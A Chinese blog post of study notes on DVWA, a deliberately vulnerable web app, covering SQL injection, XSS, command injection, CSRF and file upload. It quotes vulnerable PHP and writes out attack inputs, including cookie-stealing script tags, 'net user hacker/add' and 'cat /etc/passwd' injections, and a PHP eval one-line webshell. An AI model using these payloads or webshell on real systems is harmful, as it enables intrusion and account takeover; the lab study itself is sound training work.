博客
关于我
强烈建议你试试无所不能的chatGPT,快点击我
DVWA学习笔记
阅读量:6265 次
发布时间:2019-06-22

本文共 5384 字,大约阅读时间需要 17 分钟。

一开始有点乱,后期会整理哒

DVWA的安装

解压 --> 修改config.inc.php文件,把mysql的用户名和密码改成我们安装机器的用户名和密码,访问,第一次就会跳到setup界面。点击Create就可以了

乱码问题,如果出现乱码了,那DVWA\dvwa\includes\dvwaPage.inc.php修改文件,使得Header('charset=utf-8')改为gb2312.

DVWA的基本漏洞——SQL

乌云上最常见的脚本漏洞莫过于SQL注入和XSS。

脚本安全的本质就是脚本接受了不安全的变量输入,又没得到有效的过滤,最后进入一些对敏感的函数就会对安全造成威胁。

最基本的SQL漏洞(low):

1 if(isset($_GET['Submit'])){2 3     // Retrieve data4 5     $id = $_GET['id'];6 7     $getid = "SELECT first_name, last_name FROM users WHERE user_id = '$id'";//low.php8     $result = mysql_query($getid) or die('
' . mysql_error() . '
' );

没有任何检查,自然就可以控制id了,如果我们的输入是“' union select ....”,那么就相当于多执行了一个语句。当然,用什么语句也是很讲究的。

再来看medium等级的

1 //medium.php 2 if (isset($_GET['Submit'])) { 3  4     // Retrieve data 5  6     $id = $_GET['id']; 7     $id = mysql_real_escape_string($id); 8  9     $getid = "SELECT first_name, last_name FROM users WHERE user_id = $id";10 11     $result = mysql_query($getid) or die('
' . mysql_error() . '
' );12 13 $num = mysql_numrows($result);

虽然$id经过了mysql_real_escape_string转义了’,可是因为后面的SQL语句$id没有单引号保护,会被系统认为是数值型,导致数值型注入。。

这个时候构造,连分号都不要了。。“ 1 union select ...”

 

 DVWA的基本漏洞——XSS

脚本问题,终极目的是窃取cookie什么的。。

DVWA下的;low等级下,几乎没有什么防护,直接插入语句就可以了,像

<script>alert("五更钟")<script>

<script>alert(document.cookie)<script>

 

medium.php中,虽然对$message进行了尖括号转义,而且对 <script> 进行了替换,但是$name没有进行转义,而且跨站脚本可以用多种标签,如 <img /> ,等…。Name的 <input /> 限制了maxlength=‘10’的长度,但是我们的防御对象是精通技术的黑客。这种html下的长度限制是可以直接通过浏览器修改..然后通过大小写成功绕过str_replace(),插入XSS.

 

DVWA-Command Execution

low等级下,根本没有防护,我们分析一下代码功能:

1 
{
$cmd}";19 }20 21 ?>
low

获取ip --> 根据操作系统的不同决定shell的执行,你知道的, 不给Linux系统设置一下传包个数,都不会完。。

试试看输入“0|dir”,路径就出来了

试试“0|net user hacker/add” 呵呵

除了shell_exec还有几个命令常常造成bug:system|passthru|exec|popen|proc_open|move_upload_file|eval|copy

medium等级下注意这句:

$target = str_replace( array_keys( $substitutions ), $substitutions, $target ); 

好吧,你知道的,想法是好的,但是str_replace它用的不全啊,连“|”都不换掉。。

 在linux平台下,可以试试“ip;cat /etc/passwd”感觉这个漏洞对linux的影响比较大,毕竟大家习惯在linux下命令行来,命令行去的。

 

 

 File Inclusion 文件包含漏洞

 

CSRF漏洞

       DVWA下的CSRF漏洞是一个密码修改,而且修改URL是:http://127.0.0.1/dvwa/vulnerabilities/csrf/?password_new=1234&password_conf=1234&Change=Change#

       黑客就可以构造一个网页,将上面这段代码放入网页中,然后诱骗管理员打开这个页面,如果此时管理员恰好正在对网站进行操作,在管理员的浏览器与网站之间建立好了会话,那么上面这段代码就会生效。就是这么简单。比如这个利用 

 

 

 到medium等级,验证了Referer字段,这个我就不多说,从中的解释我觉得很好

      在通常情况下,访问一个安全受限页面的请求应来自于同一个网站,比如需要访问 http://bank.example/withdraw?account=bob&amount=1000000&for=Mallor,用户必须先登陆 bank.example,然后通过点击页面上的按钮来触发转账事件。这时,该转帐请求的Referer值就会是转账按钮所在的页面的URL,通常是以bank.example域名开头的地址。而如果要对银行网站实施CSRF攻击,他只能在他自己的网站构造请求,当用户通过黑客的网站发送请求到银行时,该请求的Referer是指向黑客自己的网站。因此,要防御CSRF攻击,银行网站只需要对于每一个转账请求验证其Referer值,如果是以bank.example开头的域名,则说明该请求是来自银行网站自己的请求,是合法的。如果Referer是其他网站的话,则有可能是黑客的CSRF攻击,拒绝该请求。

      在DVWA中,管理员是通过本地地址127.0.0.1来访问密码修改页面的,因而对于任何一个修改密码的请求,如果其Referer不是127.0.0.1,那么就判断为CSRF攻击,而予以拒绝。正常Referer:http://127.0.0.1:8088/DVWA/vulnerabilities/csrf/(我部署在8088端口啦)
      然而这种方法并非万无一失,由于Referer的值是由浏览器提供的,对于某些浏览器,可以利用一些方法来篡改Referer值。所以黑客完全可以把用户浏览器的Referer值修改为需要的地址,这样就可以通过验证,从而进行 CSRF 攻击。
另外即使黑客无法篡改Referer值,这种方法也仍然存在问题。因为Referer值会记录下用户的访问来源,有些用户认为这样会侵犯到他们自己的隐私权,特别是有些组织担心Referer值会把组织内网中的某些信息泄露到外网中。因此,用户自己可以设置浏览器使其在发送请求时不再提供 Referer。当他们正常访问银行网站时,网站会因为请求没有 Referer 值而认为是 CSRF 攻击,拒绝合法用户的访问。
      总之,通过验证HTTP Referer字段来防止CSRF攻击是不可靠的,这也是为什么DVWA的medium级别采用这种防御方法的原因。不过虽然是medium等级,但是Referer的值你以为那么好改,我目前还没有看到要怎么合理利用使得被害用户能心甘情愿的改Referer。。不过这个设置有个挺大的bug,就是使用了eregi函数呀,

if( eregi( $_SERVER[ 'SERVER_NAME' ], $_SERVER[ 'HTTP_REFERER' ] ) ) { 

这是匹配函数int eregi(string pattern, string string, array [regs]);

即如果找到与 pattern 中圆括号内的子模式相匹配的子串并且函数调用给出了第三个参数 regs, 则匹配项将被存入 regs 数组中。 regs[0] 内容就是原字符串 string, $regs[1] 包含第一个左圆括号开始的子串, $regs[2] 包含第二个子串,以此类推。 若省略参数 regs,则只是单纯地比对,找到则返回值为 true。 也就是,我只要包含到 'SERVER_NAME'说不定。。

       high等级就更厉害啦,验证了token值,checkToken( $_REQUEST[ 'user_token' ], $_SESSION[ 'session_token' ], 'index.php' ); 

隐藏在表单中:<input type="hidden" name="user_token" value="03e575eba665be96b285cf3240876fec">

我们来看看 ,写挺好

 

然后就是impossible等级,

都这个样子了还有什么好说的

 

prepare( 'SELECT password FROM users WHERE user = (:user) AND password = (:password) LIMIT 1;' ); $data->bindParam( ':user', dvwaCurrentUser(), PDO::PARAM_STR ); $data->bindParam( ':password', $pass_curr, PDO::PARAM_STR ); $data->execute(); // Do both new passwords match and does the current password match the user? if( ( $pass_new == $pass_conf ) && ( $data->rowCount() == 1 ) ) { // It does! $pass_new = stripslashes( $pass_new ); $pass_new = mysql_real_escape_string( $pass_new ); $pass_new = md5( $pass_new ); // Update database with new password $data = $db->prepare( 'UPDATE users SET password = (:password) WHERE user = (:user);' ); $data->bindParam( ':password', $pass_new, PDO::PARAM_STR ); $data->bindParam( ':user', dvwaCurrentUser(), PDO::PARAM_STR ); $data->execute(); // Feedback for the user echo "
Password Changed.
"; } else { // Issue with passwords matching echo "
Passwords did not match or current password incorrect.
"; } } // Generate Anti-CSRF token generateSessionToken(); ?>
impossible level

 

 

 File Upload 文件上传漏洞

呐,这个呢,上传漏洞主要注意基本三点:文件名检测、文件类型检测、内容检测

low等级下没有检测。。。。直接上传乱七八糟的东西都可以。。

medium等级下做类型检测和长度限制,这样一改,ok了

上传之后能干什么呢?

打开中国菜刀(膜大神Orz)

 

也就是,用工具连接我们上传的一句话木马(<?php @eval($_POST['123']);?>  ),然后就OK了

 

 

 

 

 

参考学习链接:

http://drops.wooyun.org/papers/483?utm_source=tuicool&utm_medium=referral

 

 

转载于:https://www.cnblogs.com/puluotiya/p/5304925.html

你可能感兴趣的文章
vue 2.0 开发实践总结之疑难篇
查看>>
iOS开发中的错误整理,(百思项目,指示器位置)设置控件尺寸和点坐标,先设置尺寸,再设置点坐标...
查看>>
(C/C++学习)7.数组及其访问方式
查看>>
LeetCode——Intersection of Two Linked Lists
查看>>
对拍——我目前可以找到的最简写法
查看>>
js之广告弹出自动关闭
查看>>
axios请求requestBody和formData
查看>>
PSQL_标准API和Interface基本的用法和比较(概念)
查看>>
网站目录
查看>>
APUE-文件和目录(七)符号链接
查看>>
CSS 简介
查看>>
System Verilog基础(二)
查看>>
2018/11/26 Samba服务器配置
查看>>
2018/12/08 PAT刷题 L1-034 点赞
查看>>
如何改变TextBox.PassWordChar的值 转
查看>>
css的工作原理
查看>>
【pip】的安装
查看>>
内存泄漏及其检测工具
查看>>
QT Model based vs Item based
查看>>
[Leetcode]669 Trim a Binary Search Tree
查看>>